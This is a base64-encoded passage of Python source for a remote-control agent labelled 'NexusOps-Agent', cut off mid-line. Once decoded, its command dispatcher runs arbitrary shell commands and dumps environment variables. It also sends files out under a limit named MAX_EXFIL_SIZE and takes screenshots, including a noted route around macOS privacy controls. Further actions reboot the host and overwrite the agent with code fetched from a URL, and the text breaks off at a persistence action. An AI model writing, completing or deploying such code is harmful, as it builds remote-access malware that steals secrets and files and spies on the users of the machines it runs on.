ICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIHVwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0